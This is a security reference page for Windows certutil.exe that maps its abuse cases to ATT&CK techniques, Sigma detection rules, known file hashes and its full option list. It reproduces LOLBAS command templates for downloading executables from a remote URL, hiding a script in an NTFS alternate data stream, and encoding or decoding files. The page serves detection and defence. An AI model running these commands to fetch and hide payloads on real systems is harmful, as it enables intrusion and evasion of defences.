Ceplin Command Identifier

Identifier / Programs / Windows

certutil.exe

Certutil.exe is a command-line program installed as part of Certificate Services. Windows commands reference

LOLBAS Download, ADS, Encode, Decode 33 Sigma rules name it 7 ATT&CK techniques 7 documented commands 12 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How certutil.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

-URLCacheDisplays or deletes URL cache entries. Windows commands reference
-fForce overwrite. Windows commands reference

Download T1105 Ingress Tool Transfer

-verifyCTLVerifies the AuthRoot or Disallowed Certificates CTL. Windows commands reference
-fForce overwrite. Windows commands reference

ADS T1564.004 Hide Artifacts: NTFS File Attributes

-URLCacheDisplays or deletes URL cache entries. Windows commands reference
-fForce overwrite. Windows commands reference

Download T1105 Ingress Tool Transfer

-URLVerifies certificate or CRL URLs. Windows commands reference

Encode T1027.013 Obfuscated Files or Information: Encrypted/Encoded File

-encodeEncodes a file to Base64. Windows commands reference

Decode T1140 Deobfuscate/Decode Files or Information

-decodeDecodes a Base64-encoded file. Windows commands reference

Decode T1140 Deobfuscate/Decode Files or Information

-decodehexDecodes a hexadecimal-encoded file. Windows commands reference

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for certutil.exe.

7 documented commands

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Download and save an executable to disk in the current folder.

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
Identify

Trips 1 Sigma rule: mediumSuspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Download T1105 Ingress Tool Transfer User privileges

Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash> when not.

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Identify

Trips 1 Sigma rule: mediumSuspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Download and save a .ps1 file to an Alternate Data Stream (ADS).

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
Identify

Trips 1 Sigma rule: mediumSuspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Download T1105 Ingress Tool Transfer User privileges

Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>.

certutil.exe -URL {REMOTEURL:.exe}
Identify

Trips 1 Sigma rule: mediumSuspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Encode T1027.013 Obfuscated Files or Information: Encrypted/Encoded File User privileges

Command to encode a file using Base64

certutil -encode {PATH} {PATH:.base64}
Identify

Trips 1 Sigma rule: mediumFile Encoded To Base64 Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Decode T1140 Deobfuscate/Decode Files or Information User privileges

Command to decode a Base64 encoded file.

certutil -decode {PATH:.base64} {PATH}
Identify

Trips 1 Sigma rule: highFile Decoded From Base64/Hex Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community

Decode T1140 Deobfuscate/Decode Files or Information User privileges

Command to decode a hexadecimal-encoded file.

certutil -decodehex {PATH:.hex} {PATH}
Identify

Trips 1 Sigma rule: highFile Decoded From Base64/Hex Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community

All 7 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for certutil.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for certutil.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highFile Decoded From Base64/Hex Via Certutil.EXEFlorian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community
highSuspicious File Downloaded From Direct IP Via Certutil.EXENasreddine Bencherchali (Nextron Systems)
highSuspicious File Downloaded From File-Sharing Website Via Certutil.EXENasreddine Bencherchali (Nextron Systems)
highSuspicious File Encoded To Base64 Via Certutil.EXENasreddine Bencherchali (Nextron Systems)
highFile In Suspicious Location Encoded To Base64 Via Certutil.EXENasreddine Bencherchali (Nextron Systems)
highPotential NTLM Coercion Via Certutil.EXENasreddine Bencherchali (Nextron Systems)
mediumNew Root Certificate Installed Via Certutil.EXEoscd.community, @redcanary, Zach Stanford @svch0st
mediumSuspicious Download Via Certutil.EXEFlorian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
mediumFile Encoded To Base64 Via Certutil.EXEFlorian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
mediumCertificate Exported Via Certutil.EXEFlorian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
highPotential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309)Nisarg Suthar
highWindows Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
highHTML Help HH.EXE Suspicious Child ProcessMaxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)
highSuspicious Shells Spawn by Java Utility KeytoolAndreas Hunkeler (@Karneades)
highSuspicious Child Process Of Manage Engine ServiceDeskFlorian Roth (Nextron Systems)
highSuspicious Processes Spawned by Java.EXEAndreas Hunkeler (@Karneades), Florian Roth
highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)
highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113
highSuspicious Spool Service Child ProcessJustin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)
highPotentially Suspicious Execution From Parent Process In Public FolderFlorian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
highWindows Shell/Scripting Processes Spawning Suspicious ProgramsFlorian Roth (Nextron Systems), Tim Shelton
highSystem File Execution Location AnomalyFlorian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
highSuspicious Process By Web Server ProcessThomas Patzke, Florian Roth (Nextron Systems), Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)
highSuspicious Processes Spawned by WinRMAndreas Hunkeler (@Karneades), Markus Neis
highSuspicious WmiPrvSE Child ProcessVadim Khrykov (ThreatIntel), Cyb3rEng, Florian Roth (Nextron Systems)
mediumSuspicious Child Process of SAP NetWeaverElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
mediumPotentially Suspicious PowerShell Child ProcessesFlorian Roth (Nextron Systems), Tim Shelton
mediumPotentially Suspicious Child Process Of DiskShadow.EXENasreddine Bencherchali (Nextron Systems)

And 3 more rules that name certutil.exe.

T1027Obfuscated Files or Information
T1027.013Obfuscated Files or Information: Encrypted/Encoded File
T1105Ingress Tool Transfer
T1140Deobfuscate/Decode Files or Information
T1218System Binary Proxy Execution
T1553.004Subvert Trust Controls: Install Root Certificate
T1564.004Hide Artifacts: NTFS File Attributes

Is it the real certutil.exe?

file version info and known copies
Installed inC:\Windows\system32\
C:\Windows\SysWOW64\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionCertUtil.exe

12 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\certutil.exe · signed by Microsoft Windows

3be728ca3b4dab26d24b371743917e9fce1e593e948b25876889682a2101cecc

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\certutil.exe · signed by Microsoft Windows

a58422cdc4a2850fc66f48afc1410acee6186e6ef506ec3d86cdf74fa03dafca

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\certutil.exe · signed by Microsoft Windows

1c010bfbf42a6a32ec9bff5a3a559b51c983d77ce47d30074aa170417fa4cf1d

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\certutil.exe · signed by Microsoft Windows

8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\certutil.exe · signed by Microsoft Windows

12f06d3b1601004db3f7f1a07e7d3af4cc838e890e0ff50c51e4a0c9366719ed

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\certutil.exe · signed by Microsoft Windows

484851169c45b1324b6dedeabd0df73472b69011de5042a88a377be471f7556c

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\certutil.exe · signed by Microsoft Windows

555a8b4b7c5e9614e3ef7af2fafc6181aa98ad9d10ebfd845d82f33efeb7e1c7

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\certutil.exe · signed by Microsoft Windows

85dd6f8edf142f53746a51d11dcba853104bb0207cdf2d6c3529917c3c0fc8df

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\certutil.exe · signed by Microsoft Windows

0994505db3037cd793983fa7dcfc27367695177056d124a34e6e1ab691a138c2

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\certutil.exe · signed by Microsoft Windows

7f924c38130a582fc3b6f94f388234789569c3d8101fd471925217d0f6212175

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\certutil.exe · not signed

367a43db6a355a23011d466c9ffd2a5349e37e84ea6557541de9a7fce4a635a9

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\certutil.exe · not signed

e2a5fb1ca722474b76d6da5c5b1d438a1e58beca52864862555c9ab1b533e72d

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Dump the configuration information or files

certutil filenameIdentify

Encode a file in hexadecimal

certutil -encodehex path\to\input_file path\to\output_fileIdentify
-encodehexEncodes a file in hexadecimal. Windows commands reference

Trips 1 Sigma rule: mediumFile Encoded To Base64 Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Encode a file to Base64

certutil -encode path\to\input_file path\to\output_fileIdentify
-encodeEncodes a file to Base64. Windows commands reference

Trips 1 Sigma rule: mediumFile Encoded To Base64 Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)

Of the 3 examples the identifier reads, 2 match LOLBAS abuse or trip a Sigma process-creation rule.

Options

177 in Windows commands reference
Show every option of certutil.exe
-adminUse ICertAdmin2 for CA properties.
-anonymousUse anonymous SSL credentials.
-certSigning certificate.
-clientcertificateUse X.509 Certificate SSL credentials.
-configCertificate Authority and computer name string.
-cspProvider: KSP - Microsoft Software Key Storage Provider TPM - Microsoft Platform Crypto Provider NGC - Microsoft Passport Key Storage Provider SC - Microsoft Smart Card Key Storage Provider
-dcTarget a specific Domain Controller.
-enterpriseUse the local machine enterprise registry certificate store.
-fForce overwrite.
-generateSSTFromWUGenerate SST by using the automatic update mechanism.
-gmtDisplay times using GMT.
-GroupPolicyUse the group policy certificate store.
-idispatchUse IDispatch instead of COM native methods.
-kerberosUse Kerberos SSL credentials.
-location(-loc) AlternateStorageLocation.
-mtDisplay machine templates.
-nocrEncode text without CR characters.
-nocrlfEncode text without CR-LF characters.
-nullsignUse the hash of the data as a signature.
-oldpfxUse old PFX encryption.
-outComma-separated column list.
-pPassword
-pinSmart card PIN.
-policyserverPolicy Server URL or ID.
-privatekeyDisplay password and private key data.
-protectProtect keys with password.
-protecttoComma-separated SAM name/SID list.
-restrictComma-separated Restriction List.
-reverseReverse Log and Queue columns.
-secondsDisplay times using seconds and milliseconds.
-serviceUse service certificate store.
-sidNumeric SID: 22 - Local System 23 - Local Service 24 - Network Service
-silentUse the silent flag to acquire crypt context.
-splitSplit embedded ASN.1 elements, and save to files.
-sslpolicySSL Policy matching ServerName.
-symkeyalgName of the Symmetric Key Algorithm with optional key length.
-syncWithWUSync with Windows Update.
-tURL fetch timeout in milliseconds.
-UnicodeWrite redirected output in Unicode.
-UnicodeTextWrite output file in Unicode.
-urlfetchRetrieve and verify AIA Certs and CDP CRLs.
-userUse the HKEY_CURRENT_USER keys or certificate store.
-usernameUse named account for SSL credentials.
-utDisplay user templates.
-vProvide more detailed (verbose) information.
-v1Use V1 interfaces.
-dumpDumps the configuration information or files.
-dumpPFXDumps the PFX structure.
-asnParses and displays the contents of a file using Abstract Syntax Notation (ASN.1) syntax.
-decodehexDecodes a hexadecimal-encoded file.
-encodehexEncodes a file in hexadecimal.
-decodeDecodes a Base64-encoded file.
-encodeEncodes a file to Base64.
-denyDenies a pending request.
-resubmitResubmits a pending request.
-setattributesSets attributes for a pending certificate request.
-setextensionSet an extension for a pending certificate request.
-revokeRevokes a certificate.
-isvalidDisplays the disposition of the current certificate.
-getconfigGets the default configuration string.
-getconfig2Gets the default configuration string via ICertGetConfig.
-getconfig3Gets configuration via ICertConfig.
-pingAttempts to contact the Active Directory Certificate Services Request interface.
-pingadminAttempts to contact the Active Directory Certificate Services Admin interface.
-CAInfoDisplays information about the certification authority.
-CAPropInfoDisplays CA Property Type information.
-ca.certRetrieves the certificate for the certification authority.
-ca.chainRetrieves the certificate chain for the certification authority.
-GetCRLGets a certificate revocation list (CRL).
-CRLPublishes new certificate revocation lists (CRLs) or delta CRLs.
-shutdownShuts down the Active Directory Certificate Services.
-installCertInstalls a certification authority certificate.
-renewCertRenews a certification authority certificate.
-schemaDumps the schema for the certificate.
-viewDumps the certificate view.
-dbDumps the raw database.
-deleterowDeletes a row from the server database.
-backupBacks up the Active Directory Certificate Services.
-backupDBBacks up the Active Directory Certificate Services database.
-backupkeyBacks up the Active Directory Certificate Services certificate and private key.
-restoreRestores the Active Directory Certificate Services.
-restoredbRestores the Active Directory Certificate Services database.
-restorekeyRestores the Active Directory Certificate Services certificate and private key.
-exportPFXExports the certificates and private keys.
-importPFXImports the certificates and private keys.
-dynamicfilelistDisplays a dynamic file list.
-databaselocationsDisplays database locations.
-hashfileGenerates and displays a cryptographic hash over a file.
-storeDumps the certificate store.
-enumstoreEnumerates the certificate stores.
-addstoreAdds a certificate to the store.
-delstoreDeletes a certificate from the store.
-verifystoreVerifies a certificate in the store.
-repairstoreRepairs a key association or update certificate properties or the key security descriptor.
-viewstoreDumps the certificates store.
-viewdelstoreDeletes a certificate from the store.
-UIInvokes the certutil interface.
-TPMInfoDisplays Trusted Platform Module Information.
-attestSpecifies that the certificate request file should be attested.
-getcertSelects a certificate from a selection UI.
-dsDisplays directory service (DS) distinguished names (DNs).
-dsDelDeletes DS DNs.
-dsPublishPublishes a certificate or certificate revocation list (CRL) to Active Directory.
-dsCertDisplays DS certificates.
-dsCRLDisplays DS CRLs.
-dsDeltaCRLDisplays DS delta CRLs.
-dsTemplateDisplays DS template attributes.
-dsAddTemplateAdds DS templates.
-ADTemplateDisplays Active Directory templates.
-TemplateDisplays the certificate enrollment policy templates.
-TemplateCAsDisplays the certification authorities (CAs) for a certificate template.
-CATemplatesDisplays templates for the Certificate Authority.
-SetCATemplatesSets the certificate templates that the Certificate Authority can issue.
-SetCASitesManages site names, including setting, verifying, and deleting Certificate Authority site names.
-enrollmentServerURLDisplays, adds, or deletes enrollment server URLs associated with a CA.
-ADCADisplays the Active Directory Certificate Authorities.
-CADisplays the enrollment policy Certificate Authorities.
-PolicyDisplays the enrollment policy.
-PolicyCacheDisplays or deletes enrollment policy cache entries.
-CredStoreDisplays, adds, or deletes Credential Store entries.
-InstallDefaultTemplatesInstalls the default certificate templates.
-URLVerifies certificate or CRL URLs.
-URLCacheDisplays or deletes URL cache entries.
-pulsePulses an autoenrollment event or NGC task.
-MachineInfoDisplays information about the Active Directory machine object.
-DCInfoDisplays information about the domain controller.
-EntInfoDisplays information about an enterprise Certificate Authority.
-TCAInfoDisplays information about the Certificate Authority.
-SCInfoDisplays information about the smart card.
-SCRootsManages smart card root certificates.
-keyLists the keys stored in a key container.
-delkeyDeletes the named key container.
-DeleteHelloContainerDeletes the Windows Hello container, removing all associated credentials that are stored on the device, including any WebAuthn and FIDO credentials.
-verifykeysVerifies a public or private key set.
-verifyVerifies a certificate, certificate revocation list (CRL), or certificate chain.
-verifyCTLVerifies the AuthRoot or Disallowed Certificates CTL.
-generatePinRulesCTLGenerates a Certificate Trust List (CTL) file that contains a list of pinning rules.
-downloadOcspDownloads the OCSP responses and writes to the directory.
-generateHpkpHeaderGenerates the HPKP header using certificates in a specified file or directory.
-flushCacheFlushes the specified caches in selected process, such as, lsass.exe.
-addEccCurveAdds an ECC Curve.
-deleteEccCurveDeletes the ECC Curve.
-displayEccCurveDisplays the ECC Curve.
-csplistLists the cryptographic service providers (CSPs) installed on this machine for cryptographic operations.
-csptestTests the CSPs installed on this machine.
-CNGConfigDisplays CNG cryptographic configuration on this machine.
-signRe-signs a certificate revocation list (CRL) or certificate.
-vrootCreates or deletes web virtual roots and file shares.
-vocsprootCreates or deletes web virtual roots for an OCSP web proxy.
-addEnrollmentServerAdds an Enrollment Server application and application pool if necessary for the specified Certificate Authority.
-deleteEnrollmentServerDeletes an Enrollment Server application and application pool if necessary for the specified Certificate Authority.
-addPolicyServerAdd a Policy Server application and application pool, if necessary.
-deletePolicyServerDeletes a Policy Server application and application pool, if necessary.
-ClassDisplays COM registry information.
-7fChecks certificate for 0x7f length encodings.
-oidDisplays the object identifier or sets a display name.
-errorDisplays the message text associated with an error code.
-getsmtpinfoGets Simple Mail Transfer Protocol (SMTP) information.
-setsmtpinfoSets SMTP information.
-getregDisplays a registry value.
-setregSets a registry value.
-delregDeletes a registry value.
-importKMSImports user keys and certificates into the server database for key archival.
-ImportCertImports a certificate file into the database.
-GetKeyRetrieves an archived private key recovery blob, generates a recovery script, or recovers archived keys.
-RecoverKeyRecovers an archived private key.
-mergePFXMerges PFX files.
-add-chainAdds a certificate chain.
-add-pre-chainAdds a pre-certificate chain.
-get-sthGets a signed tree head.
-get-sth-consistencyGets signed tree head changes.
-get-proof-by-hashGets proof of a hash from a timestamp server.
-get-entriesRetrieves entries from an event log.
-get-rootsRetrieves the root certificates from the certificate store.
-get-entry-and-proofRetrieves an event log entry and its cryptographic proof.
-VerifyCTVerifies a certificate against the Certificate Transparency log.
-?Displays the list of parameters.

Other programs abused for Download

appinstaller.exe · bcp.exe · bitsadmin.exe · certoc.exe · certreq.exe · cmd.exe · cmdl32.exe · configsecuritypolicy.exe · desktopimgdownldr.exe · devtunnel.exe · diantz.exe · ecmangen.exe · esentutl.exe · excel.exe · expand.exe · extrac32.exe